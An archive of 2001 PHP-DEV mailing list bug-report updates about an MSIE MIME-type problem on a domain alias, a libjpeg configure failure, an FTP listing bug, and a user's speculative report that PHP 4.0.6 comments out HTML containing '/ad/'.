Apparently my browser was on crack. I've been rebooting several times to make sure it 
wasn't browser related, and after running it through loadrunner, it worked fine. Chalk 
it up to a bad proxy or something.. ..

Previous Comments:
---

[2001-07-02 13:52:56] [EMAIL PROTECTED]

I'm using MSIE 5.5. Opera 5.11 works fine with the document, as does lynx. It appears 
that the way my site is set up, hitting http://www.lowmagnet.org will not suffice. Is 
there a workaround? perhaps a redirect like the below:

httpd.conf:
DirectoryIndex index.html index.php index.shtml   

index.html:

http://www.lowmagnet.org/index.php";>

Would work. I just don't like kludges such as these. If only IE would listen to the 
mimetype. But still, why is this happening only on my system? I'm going to run a 
recording in loadrunner to see if it can pull across the headers..


---

[2001-07-02 13:26:09] [EMAIL PROTECTED]

Works fine from here with both NS 4.77 and IE 5.00.2314.1003
Which version of IE are you using? However, this can't be no problem with PHP I think.

Derick

---

[2001-07-02 13:11:53] [EMAIL PROTECTED]

When I hit my site normally: http://lowmagnet.org, all is ok, and it brings up my 
first page. When I hit my site with its "www." alias (from DNS level) IE tries to 
download the file. I'm not certain why it would do this, because most other browsers 
handle this correctly. My mime.types file:

text/html   html htm php

My httpd.conf:

DirectoryIndex index.php index.html index.shtml   
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

My PHP.ini:

default_mimetype = "text/html"

Like I said, if you point at a specific directory under either DNS registry, no 
worries. If you point to the root on the www. spec, it doesn't seem to send the right 
mimetype. I figure if it's working everywhere but that one place it's probably config. 
I just want to eliminate suspects. Thanks.

---


Full Bug description available at: http://bugs.php.net/?id=11841


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11841 Updated: MSIE tries to download file when you hit domain alias

2001-07-02 Thread anrkngl


ID: 11841
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: Scripting Engine problem
Operating system: LNX 2.2.19 Slack
PHP Version: 4.0.6
Description: MSIE tries to download file when you hit domain alias

I'm using MSIE 5.5. Opera 5.11 works fine with the document, as does lynx. It appears 
that the way my site is set up, hitting http://www.lowmagnet.org will not suffice. Is 
there a workaround? perhaps a redirect like the below:

httpd.conf:
DirectoryIndex index.html index.php index.shtml   

index.html:

http://www.lowmagnet.org/index.php";>

Would work. I just don't like kludges such as these. If only IE would listen to the 
mimetype. But still, why is this happening only on my system? I'm going to run a 
recording in loadrunner to see if it can pull across the headers..


Previous Comments:
---

[2001-07-02 13:26:09] [EMAIL PROTECTED]

Works fine from here with both NS 4.77 and IE 5.00.2314.1003
Which version of IE are you using? However, this can't be no problem with PHP I think.

Derick

---

[2001-07-02 13:11:53] [EMAIL PROTECTED]

When I hit my site normally: http://lowmagnet.org, all is ok, and it brings up my 
first page. When I hit my site with its "www." alias (from DNS level) IE tries to 
download the file. I'm not certain why it would do this, because most other browsers 
handle this correctly. My mime.types file:

text/html   html htm php

My httpd.conf:

DirectoryIndex index.php index.html index.shtml   
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

My PHP.ini:

default_mimetype = "text/html"

Like I said, if you point at a specific directory under either DNS registry, no 
worries. If you point to the root on the www. spec, it doesn't seem to send the right 
mimetype. I figure if it's working everywhere but that one place it's probably config. 
I just want to eliminate suspects. Thanks.

---


Full Bug description available at: http://bugs.php.net/?id=11841


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11840 Updated: Can't find libjpeg after upgrade to 4.0.6

2001-07-02 Thread pete


ID: 11840
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: Compile Problem
Operating system: Linux 2.4/RedHat 7.1
PHP Version: 4.0.6
Description: Can't find libjpeg after upgrade to 4.0.6

Configure will complete without errors if I leave out --with-jpeg-dir.  Of course, 
PDFlib probably won't let me use JPEG files now, but that's not a problem for me.

Previous Comments:
---

[2001-07-02 13:28:38] [EMAIL PROTECTED]

I've exactly th esame config here, and I got no problems.
Can you try not to use the --with-jpeg-dir (as I didn't use that in my configure 
line).

Derick

---

[2001-07-02 13:08:18] [EMAIL PROTECTED]

[pete@xx lib]$ nm libjpeg.so | grep jpeg_read_header
c2f0 T jpeg_read_header
[pete@xx lib]$ rpm -q libjpeg
libjpeg-6b-15
[pete@xx lib]$ ls | grep jpeg
libimlib-jpeg.a
libimlib-jpeg.so
libjpeg.a
libjpeg.la
libjpeg.so
libjpeg.so.62
libjpeg.so.62.0.0

---

[2001-07-02 13:01:16] [EMAIL PROTECTED]

Can you let us know what this shows:

cd /usr/lib
nm [name of jpeg library.so] | grep jpeg_read_header

Is it possible that you have other version of the libarary on your system perhaps? En 
which version of the jpeg library do you have?

Derick

---

[2001-07-02 12:52:58] [EMAIL PROTECTED]

Here's the tail end of config.log:

configure:39416: checking whether to include PDFlib support
configure:39894: checking for the location of libjpeg
configure:39938: checking for jpeg_read_header in -ljpeg
configure:39959: gcc -o conftest -g -O2  -DLINUX=22 -DMOD_SSL=208101 -DEAPI -DEAPI_MM 
-DUSE_EXPAT -DSUPPORT_UTF8  -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/classic 
-L/usr/local/jdk1.2.2/jre/lib/i386/classic 
-Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/native_threads 
-L/usr/local/jdk1.2.2/jre/lib/i386/native_threads 
-Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386 -L/usr/local/jdk1.2.2/jre/lib/i386 
-Wl,-rpath,/usr/local/mnogosearch/lib -L/usr/local/mnogosearch/lib 
-Wl,-rpath,/usr/local/Hughes/lib -L/usr/local/Hughes/lib conftest.c -ljpeg 
-L/usr/lib
   -lz -lmsql -ludmsearch -lpq -lcrypt -lz -lcrypt -lresolv -lm -ldl -lnsl  
-lresolv 1>&5
/tmp/ccxhNgGY.o: In function `main':
/usr/local/src/php-4.0.6/configure:39955: undefined reference to `jpeg_read_header'
collect2: ld returned 1 exit status
configure: failed program was:
#line 39948 "configure"
#include "confdefs.h"
/* Override any gcc2 internal prototype to avoid an error.  */
/* We use char because int might match the return type of a gcc2
builtin and then its argument prototype would still apply.  */
char jpeg_read_header();

int main() {
jpeg_read_header()
; return 0; }


---

[2001-07-02 12:40:45] [EMAIL PROTECTED]

Can you add the config.log file to this report?

Derick

---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.

Full Bug description available at: http://bugs.php.net/?id=11840


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11842: ftp_rawlist and ftp_nlist dont show list in directory that has spaces in it

2001-07-02 Thread douglas


From: [EMAIL PROTECTED]
Operating system: ftp server on nt 4.0 / apache/php on win 2000
PHP version:  4.0.4
PHP Bug Type: FTP related
Bug description:  ftp_rawlist and ftp_nlist dont show list in directory that has 
spaces in it



\n";
ftp_chdir ($conn_id, "/Alexandre_Zeni/Administracao/Produção II");
$ftp_dir_corrente = ftp_pwd($conn_id);

$ftp_lista_dir_corrente = ftp_rawlist ($conn_id, $ftp_dir_corrente);
echo $ftp_lista_dir_corrente."\n" ;

echo "/Alexandre_Zeni/Administracao/Projetos\n";
ftp_chdir ($conn_id, "/Alexandre_Zeni/Administracao/Projetos");
$ftp_dir_corrente = ftp_pwd($conn_id);
$ftp_lista_dir_corrente = ftp_nlist ($conn_id, $ftp_dir_corrente);
echo $ftp_lista_dir_corrente."\n" ;

ftp_quit($conn_id);

?>




-- 
Edit Bug report at: http://bugs.php.net/?id=11842&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11840 Updated: Can't find libjpeg after upgrade to 4.0.6

2001-07-02 Thread derick


ID: 11840
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: Compile Problem
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

I've exactly th esame config here, and I got no problems.
Can you try not to use the --with-jpeg-dir (as I didn't use that in my configure 
line).

Derick

Previous Comments:
---

[2001-07-02 13:08:18] [EMAIL PROTECTED]

[pete@xx lib]$ nm libjpeg.so | grep jpeg_read_header
c2f0 T jpeg_read_header
[pete@xx lib]$ rpm -q libjpeg
libjpeg-6b-15
[pete@xx lib]$ ls | grep jpeg
libimlib-jpeg.a
libimlib-jpeg.so
libjpeg.a
libjpeg.la
libjpeg.so
libjpeg.so.62
libjpeg.so.62.0.0

---

[2001-07-02 13:01:16] [EMAIL PROTECTED]

Can you let us know what this shows:

cd /usr/lib
nm [name of jpeg library.so] | grep jpeg_read_header

Is it possible that you have other version of the libarary on your system perhaps? En 
which version of the jpeg library do you have?

Derick

---

[2001-07-02 12:52:58] [EMAIL PROTECTED]

Here's the tail end of config.log:

configure:39416: checking whether to include PDFlib support
configure:39894: checking for the location of libjpeg
configure:39938: checking for jpeg_read_header in -ljpeg
configure:39959: gcc -o conftest -g -O2  -DLINUX=22 -DMOD_SSL=208101 -DEAPI -DEAPI_MM 
-DUSE_EXPAT -DSUPPORT_UTF8  -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/classic 
-L/usr/local/jdk1.2.2/jre/lib/i386/classic 
-Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/native_threads 
-L/usr/local/jdk1.2.2/jre/lib/i386/native_threads 
-Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386 -L/usr/local/jdk1.2.2/jre/lib/i386 
-Wl,-rpath,/usr/local/mnogosearch/lib -L/usr/local/mnogosearch/lib 
-Wl,-rpath,/usr/local/Hughes/lib -L/usr/local/Hughes/lib conftest.c -ljpeg 
-L/usr/lib
   -lz -lmsql -ludmsearch -lpq -lcrypt -lz -lcrypt -lresolv -lm -ldl -lnsl  
-lresolv 1>&5
/tmp/ccxhNgGY.o: In function `main':
/usr/local/src/php-4.0.6/configure:39955: undefined reference to `jpeg_read_header'
collect2: ld returned 1 exit status
configure: failed program was:
#line 39948 "configure"
#include "confdefs.h"
/* Override any gcc2 internal prototype to avoid an error.  */
/* We use char because int might match the return type of a gcc2
builtin and then its argument prototype would still apply.  */
char jpeg_read_header();

int main() {
jpeg_read_header()
; return 0; }


---

[2001-07-02 12:40:45] [EMAIL PROTECTED]

Can you add the config.log file to this report?

Derick

---

[2001-07-02 12:17:59] [EMAIL PROTECTED]

When trying to compile 4.0.6 with the same configuration as 4.0.5, configure complains 
that it can't find libjpeg, although the library files are located in the specified 
directory (/usr).  This is the output of configure:

checking whether to include PCRE support... yes
checking for memmove... (cached) yes
checking whether to include PDFlib support... yes
checking for the location of libjpeg... yes
checking for jpeg_read_header in -ljpeg... no
configure: error: libjpeg not found!

Here is my command line:

./configure 
--with-apxs=/usr/sbin/apxs 
--with-gettext=no 
--with-pgsql 
--with-msql=/usr/local/Hughes 
--with-mnogosearch=/usr/local/mnogosearch 
--without-mysql 
--without-gd 
--with-xml 
--with-dom=shared,/usr/local 
--with-java=/usr/local/jdk1.2.2 
--with-pdflib=/usr/local 
--with-pspell 
--enable-track-vars=yes 
--with-jpeg-dir=/usr 
--with-tiff-dir=/usr 
--with-zlib-dir=/usr 
--with-session=/tmp 
--enable-trans-sid



---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.


ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11840&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11841 Updated: MSIE tries to download file when you hit domain alias

2001-07-02 Thread derick


ID: 11841
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: Scripting Engine problem
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

Works fine from here with both NS 4.77 and IE 5.00.2314.1003
Which version of IE are you using? However, this can't be no problem with PHP I think.

Derick

Previous Comments:
---

[2001-07-02 13:11:53] [EMAIL PROTECTED]

When I hit my site normally: http://lowmagnet.org, all is ok, and it brings up my 
first page. When I hit my site with its "www." alias (from DNS level) IE tries to 
download the file. I'm not certain why it would do this, because most other browsers 
handle this correctly. My mime.types file:

text/html   html htm php

My httpd.conf:

DirectoryIndex index.php index.html index.shtml   
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

My PHP.ini:

default_mimetype = "text/html"

Like I said, if you point at a specific directory under either DNS registry, no 
worries. If you point to the root on the www. spec, it doesn't seem to send the right 
mimetype. I figure if it's working everywhere but that one place it's probably config. 
I just want to eliminate suspects. Thanks.

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11841&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11841: MSIE tries to download file when you hit domain alias

2001-07-02 Thread anrkngl


From: [EMAIL PROTECTED]
Operating system: LNX 2.2.19 Slack
PHP version:  4.0.6
PHP Bug Type: Scripting Engine problem
Bug description:  MSIE tries to download file when you hit domain alias

When I hit my site normally: http://lowmagnet.org, all is ok, and it brings up my 
first page. When I hit my site with its "www." alias (from DNS level) IE tries to 
download the file. I'm not certain why it would do this, because most other browsers 
handle this correctly. My mime.types file:

text/html   html htm php

My httpd.conf:

DirectoryIndex index.php index.html index.shtml   
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

My PHP.ini:

default_mimetype = "text/html"

Like I said, if you point at a specific directory under either DNS registry, no 
worries. If you point to the root on the www. spec, it doesn't seem to send the right 
mimetype. I figure if it's working everywhere but that one place it's probably config. 
I just want to eliminate suspects. Thanks.


-- 
Edit Bug report at: http://bugs.php.net/?id=11841&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11840 Updated: Can't find libjpeg after upgrade to 4.0.6

2001-07-02 Thread pete


ID: 11840
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: Compile Problem
Operating system: Linux 2.4/RedHat 7.1
PHP Version: 4.0.6
Description: Can't find libjpeg after upgrade to 4.0.6

[pete@xx lib]$ nm libjpeg.so | grep jpeg_read_header
c2f0 T jpeg_read_header
[pete@xx lib]$ rpm -q libjpeg
libjpeg-6b-15
[pete@xx lib]$ ls | grep jpeg
libimlib-jpeg.a
libimlib-jpeg.so
libjpeg.a
libjpeg.la
libjpeg.so
libjpeg.so.62
libjpeg.so.62.0.0

Previous Comments:
---

[2001-07-02 13:01:16] [EMAIL PROTECTED]

Can you let us know what this shows:

cd /usr/lib
nm [name of jpeg library.so] | grep jpeg_read_header

Is it possible that you have other version of the libarary on your system perhaps? En 
which version of the jpeg library do you have?

Derick

---

[2001-07-02 12:52:58] [EMAIL PROTECTED]

Here's the tail end of config.log:

configure:39416: checking whether to include PDFlib support
configure:39894: checking for the location of libjpeg
configure:39938: checking for jpeg_read_header in -ljpeg
configure:39959: gcc -o conftest -g -O2  -DLINUX=22 -DMOD_SSL=208101 -DEAPI -DEAPI_MM 
-DUSE_EXPAT -DSUPPORT_UTF8  -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/classic 
-L/usr/local/jdk1.2.2/jre/lib/i386/classic 
-Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/native_threads 
-L/usr/local/jdk1.2.2/jre/lib/i386/native_threads 
-Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386 -L/usr/local/jdk1.2.2/jre/lib/i386 
-Wl,-rpath,/usr/local/mnogosearch/lib -L/usr/local/mnogosearch/lib 
-Wl,-rpath,/usr/local/Hughes/lib -L/usr/local/Hughes/lib conftest.c -ljpeg 
-L/usr/lib
   -lz -lmsql -ludmsearch -lpq -lcrypt -lz -lcrypt -lresolv -lm -ldl -lnsl  
-lresolv 1>&5
/tmp/ccxhNgGY.o: In function `main':
/usr/local/src/php-4.0.6/configure:39955: undefined reference to `jpeg_read_header'
collect2: ld returned 1 exit status
configure: failed program was:
#line 39948 "configure"
#include "confdefs.h"
/* Override any gcc2 internal prototype to avoid an error.  */
/* We use char because int might match the return type of a gcc2
builtin and then its argument prototype would still apply.  */
char jpeg_read_header();

int main() {
jpeg_read_header()
; return 0; }


---

[2001-07-02 12:40:45] [EMAIL PROTECTED]

Can you add the config.log file to this report?

Derick

---

[2001-07-02 12:17:59] [EMAIL PROTECTED]

When trying to compile 4.0.6 with the same configuration as 4.0.5, configure complains 
that it can't find libjpeg, although the library files are located in the specified 
directory (/usr).  This is the output of configure:

checking whether to include PCRE support... yes
checking for memmove... (cached) yes
checking whether to include PDFlib support... yes
checking for the location of libjpeg... yes
checking for jpeg_read_header in -ljpeg... no
configure: error: libjpeg not found!

Here is my command line:

./configure 
--with-apxs=/usr/sbin/apxs 
--with-gettext=no 
--with-pgsql 
--with-msql=/usr/local/Hughes 
--with-mnogosearch=/usr/local/mnogosearch 
--without-mysql 
--without-gd 
--with-xml 
--with-dom=shared,/usr/local 
--with-java=/usr/local/jdk1.2.2 
--with-pdflib=/usr/local 
--with-pspell 
--enable-track-vars=yes 
--with-jpeg-dir=/usr 
--with-tiff-dir=/usr 
--with-zlib-dir=/usr 
--with-session=/tmp 
--enable-trans-sid



---


Full Bug description available at: http://bugs.php.net/?id=11840


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11840 Updated: Can't find libjpeg after upgrade to 4.0.6

2001-07-02 Thread derick


ID: 11840
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: Compile Problem
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

Can you let us know what this shows:

cd /usr/lib
nm [name of jpeg library.so] | grep jpeg_read_header

Is it possible that you have other version of the libarary on your system perhaps? En 
which version of the jpeg library do you have?

Derick

Previous Comments:
---

[2001-07-02 12:52:58] [EMAIL PROTECTED]

Here's the tail end of config.log:

configure:39416: checking whether to include PDFlib support
configure:39894: checking for the location of libjpeg
configure:39938: checking for jpeg_read_header in -ljpeg
configure:39959: gcc -o conftest -g -O2  -DLINUX=22 -DMOD_SSL=208101 -DEAPI -DEAPI_MM 
-DUSE_EXPAT -DSUPPORT_UTF8  -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/classic 
-L/usr/local/jdk1.2.2/jre/lib/i386/classic 
-Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/native_threads 
-L/usr/local/jdk1.2.2/jre/lib/i386/native_threads 
-Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386 -L/usr/local/jdk1.2.2/jre/lib/i386 
-Wl,-rpath,/usr/local/mnogosearch/lib -L/usr/local/mnogosearch/lib 
-Wl,-rpath,/usr/local/Hughes/lib -L/usr/local/Hughes/lib conftest.c -ljpeg 
-L/usr/lib
   -lz -lmsql -ludmsearch -lpq -lcrypt -lz -lcrypt -lresolv -lm -ldl -lnsl  
-lresolv 1>&5
/tmp/ccxhNgGY.o: In function `main':
/usr/local/src/php-4.0.6/configure:39955: undefined reference to `jpeg_read_header'
collect2: ld returned 1 exit status
configure: failed program was:
#line 39948 "configure"
#include "confdefs.h"
/* Override any gcc2 internal prototype to avoid an error.  */
/* We use char because int might match the return type of a gcc2
builtin and then its argument prototype would still apply.  */
char jpeg_read_header();

int main() {
jpeg_read_header()
; return 0; }


---

[2001-07-02 12:40:45] [EMAIL PROTECTED]

Can you add the config.log file to this report?

Derick

---

[2001-07-02 12:17:59] [EMAIL PROTECTED]

When trying to compile 4.0.6 with the same configuration as 4.0.5, configure complains 
that it can't find libjpeg, although the library files are located in the specified 
directory (/usr).  This is the output of configure:

checking whether to include PCRE support... yes
checking for memmove... (cached) yes
checking whether to include PDFlib support... yes
checking for the location of libjpeg... yes
checking for jpeg_read_header in -ljpeg... no
configure: error: libjpeg not found!

Here is my command line:

./configure 
--with-apxs=/usr/sbin/apxs 
--with-gettext=no 
--with-pgsql 
--with-msql=/usr/local/Hughes 
--with-mnogosearch=/usr/local/mnogosearch 
--without-mysql 
--without-gd 
--with-xml 
--with-dom=shared,/usr/local 
--with-java=/usr/local/jdk1.2.2 
--with-pdflib=/usr/local 
--with-pspell 
--enable-track-vars=yes 
--with-jpeg-dir=/usr 
--with-tiff-dir=/usr 
--with-zlib-dir=/usr 
--with-session=/tmp 
--enable-trans-sid



---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11840&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11840 Updated: Can't find libjpeg after upgrade to 4.0.6

2001-07-02 Thread pete


ID: 11840
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: Compile Problem
Operating system: Linux 2.4/RedHat 7.1
PHP Version: 4.0.6
Description: Can't find libjpeg after upgrade to 4.0.6

Here's the tail end of config.log:

configure:39416: checking whether to include PDFlib support
configure:39894: checking for the location of libjpeg
configure:39938: checking for jpeg_read_header in -ljpeg
configure:39959: gcc -o conftest -g -O2  -DLINUX=22 -DMOD_SSL=208101 -DEAPI -DEAPI_MM 
-DUSE_EXPAT -DSUPPORT_UTF8  -Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/classic 
-L/usr/local/jdk1.2.2/jre/lib/i386/classic 
-Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386/native_threads 
-L/usr/local/jdk1.2.2/jre/lib/i386/native_threads 
-Wl,-rpath,/usr/local/jdk1.2.2/jre/lib/i386 -L/usr/local/jdk1.2.2/jre/lib/i386 
-Wl,-rpath,/usr/local/mnogosearch/lib -L/usr/local/mnogosearch/lib 
-Wl,-rpath,/usr/local/Hughes/lib -L/usr/local/Hughes/lib conftest.c -ljpeg 
-L/usr/lib
   -lz -lmsql -ludmsearch -lpq -lcrypt -lz -lcrypt -lresolv -lm -ldl -lnsl  
-lresolv 1>&5
/tmp/ccxhNgGY.o: In function `main':
/usr/local/src/php-4.0.6/configure:39955: undefined reference to `jpeg_read_header'
collect2: ld returned 1 exit status
configure: failed program was:
#line 39948 "configure"
#include "confdefs.h"
/* Override any gcc2 internal prototype to avoid an error.  */
/* We use char because int might match the return type of a gcc2
builtin and then its argument prototype would still apply.  */
char jpeg_read_header();

int main() {
jpeg_read_header()
; return 0; }


Previous Comments:
---

[2001-07-02 12:40:45] [EMAIL PROTECTED]

Can you add the config.log file to this report?

Derick

---

[2001-07-02 12:17:59] [EMAIL PROTECTED]

When trying to compile 4.0.6 with the same configuration as 4.0.5, configure complains 
that it can't find libjpeg, although the library files are located in the specified 
directory (/usr).  This is the output of configure:

checking whether to include PCRE support... yes
checking for memmove... (cached) yes
checking whether to include PDFlib support... yes
checking for the location of libjpeg... yes
checking for jpeg_read_header in -ljpeg... no
configure: error: libjpeg not found!

Here is my command line:

./configure 
--with-apxs=/usr/sbin/apxs 
--with-gettext=no 
--with-pgsql 
--with-msql=/usr/local/Hughes 
--with-mnogosearch=/usr/local/mnogosearch 
--without-mysql 
--without-gd 
--with-xml 
--with-dom=shared,/usr/local 
--with-java=/usr/local/jdk1.2.2 
--with-pdflib=/usr/local 
--with-pspell 
--enable-track-vars=yes 
--with-jpeg-dir=/usr 
--with-tiff-dir=/usr 
--with-zlib-dir=/usr 
--with-session=/tmp 
--enable-trans-sid



---


Full Bug description available at: http://bugs.php.net/?id=11840


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11840 Updated: Can't find libjpeg after upgrade to 4.0.6

2001-07-02 Thread derick


ID: 11840
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: Compile Problem
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

Can you add the config.log file to this report?

Derick

Previous Comments:
---

[2001-07-02 12:17:59] [EMAIL PROTECTED]

When trying to compile 4.0.6 with the same configuration as 4.0.5, configure complains 
that it can't find libjpeg, although the library files are located in the specified 
directory (/usr).  This is the output of configure:

checking whether to include PCRE support... yes
checking for memmove... (cached) yes
checking whether to include PDFlib support... yes
checking for the location of libjpeg... yes
checking for jpeg_read_header in -ljpeg... no
configure: error: libjpeg not found!

Here is my command line:

./configure 
--with-apxs=/usr/sbin/apxs 
--with-gettext=no 
--with-pgsql 
--with-msql=/usr/local/Hughes 
--with-mnogosearch=/usr/local/mnogosearch 
--without-mysql 
--without-gd 
--with-xml 
--with-dom=shared,/usr/local 
--with-java=/usr/local/jdk1.2.2 
--with-pdflib=/usr/local 
--with-pspell 
--enable-track-vars=yes 
--with-jpeg-dir=/usr 
--with-tiff-dir=/usr 
--with-zlib-dir=/usr 
--with-session=/tmp 
--enable-trans-sid



---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11840&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11839 Updated: hack? following is a discussion of the hack...... Is PHP the problem?????????

2001-07-02 Thread derick

ID: 11839
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: Unknown/Other Function
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

Can you please summarize this?

Derick

Previous Comments:
---

[2001-07-02 12:13:34] [EMAIL PROTECTED]

To: Bård Farstad <[EMAIL PROTECTED]>
Subject: Re: FYI:more the funny problem

I use REDHAT 7.1 and whatever comes with it plus what needs to be loaded for 
eZPublish.

Everything works correctly on my test server: the browser (netscape 4.7+) displays the 
ad ok.  The client test machine in a win98 2nd ed with netscape and IE.  (I originally 
tested the client on the win machine so I could if IE displayed the site correctly.) 
Both browsers display the "problem" on the client machine.  So I don't think the 
problem on the client side.  It is not eZpublish.  So it has to be in the apache or 
the apache modules.  My guess is that it is in the PHP module. 

I tried one other case: I copied the print line in ezadlist and put it AFTER the ?> 
line WITHOUT the  print function name, the  (, ), and the ; .  The html was still 
commented out only on the remote browser.  I could have snooped (tcpdump on linux) the 
server output, but since I got in a  workaround, I figured I just wait until I had 
time to look into the PHP code.

Since you've been so helpfull :) I thought I'd let you know about the "joke" so you 
weren't caught unaware..

I am forwarding this mail exchange to the PHP group.  OK?

Mark

To: Bård Farstad <[EMAIL PROTECTED]>
Subject: Re: FYI:more the funny problem

Ah now you ARE getting it.  ezad doesn't do it, the php apache module does it.

any html tag "" with the /ad/ string gets commented out 
(<--! before  and !--> after) that gets sent to a remote client.

As I said if you changed the adlist to:
print  "" );

it still wouldn't work so it MUST be done in the PHP module.

using 
print( "" );

works fine as long as you do a softlink from /ezad to /ezadd. (notice I changed the 
/ad/ to /add/)

great huh, 

watch out for it.  Again I noticed this in php 4.0.6  I didn't test a remote client 
when I used php 4.0.5

At 04:27 PM 7/2/01 +0200, you wrote:
Hi Mark,

I don't understand how the eZ ad module can do this.. All it does is print a 
link with image like this:

print( "" 
);

Have I misunderstood something?

-- 
Bård Farstad
Systems developer
ez.no | developer.ez.no | zez.org

To: Bård Farstad <[EMAIL PROTECTED]>
Subject: Re: FYI:more the the funny problem

.

On the server, when I use the netscape client to view the "page source",  I see the 
correct HTML for the banner ad.  On a client,  with netscape (or IE) when I view the 
SAME PAGE source, I see the HTML line for the banner ad commented out.

I ran the following test: When I output anything with the 4 character string /ad/ , 
the html gets commented out.  I tested this with print and echo.  I also used several 
print statements outputing a letter at a time. The result is the same: the html with 
/ad/ ONLY when going to the client on another computer is commented out.

This is using php 4.0.6  that I downloaded from www.php.net site from the download 
link
http://www.php.net/do_download.php?download_file=php-4.0.6.tar.gz&source_site=www.php.net

and compiled myself.  I gave up looking for the module, figuring that a later PHP 
version won't have it.  My workaround is to change the line in adlist.php from /ad/ to 
/add/ and to put a softlink from ezad to ezadd.

Pretty conclusive to me.  watch for it.  PHP 4.x has a single point that all the 
output goes through.  My guess is that the malicious code is there.  In my PHP 4.0.6 
distribution anyway.

FYI
Mark

 At 09:10 AM 7/2/01 +0200, you wrote:
Hi,

not sure what problems you are having with the banner ads. They're not 
dependant on the host viewing the page. If you're using the current CVS then 
expect the code not to work (right now).

I've got a few things to fix in ezcalendargroup edit and then I'm done.  Everything is 
pretty slick.  I'll spend a day or so adding some content and should be on the net by 
wednesday at the earliest and monday at the latest.  After you get a chance to look at 
my site, I'll send you the code.

Mark

-- 
Bård Farstad
Systems developer
ez.no | developer.ez.no | zez.org

On Saturday 30 June 2001 21:16, you wrote:
> Sorry if I thought it was "you"  I think it is somewhere in the PHP code (I
> use 4.0.6).
> I'll spend another hour or so on it today.  Pretty funny if you think about
> it.   A person gets their stuff working and then puts it on the net only to
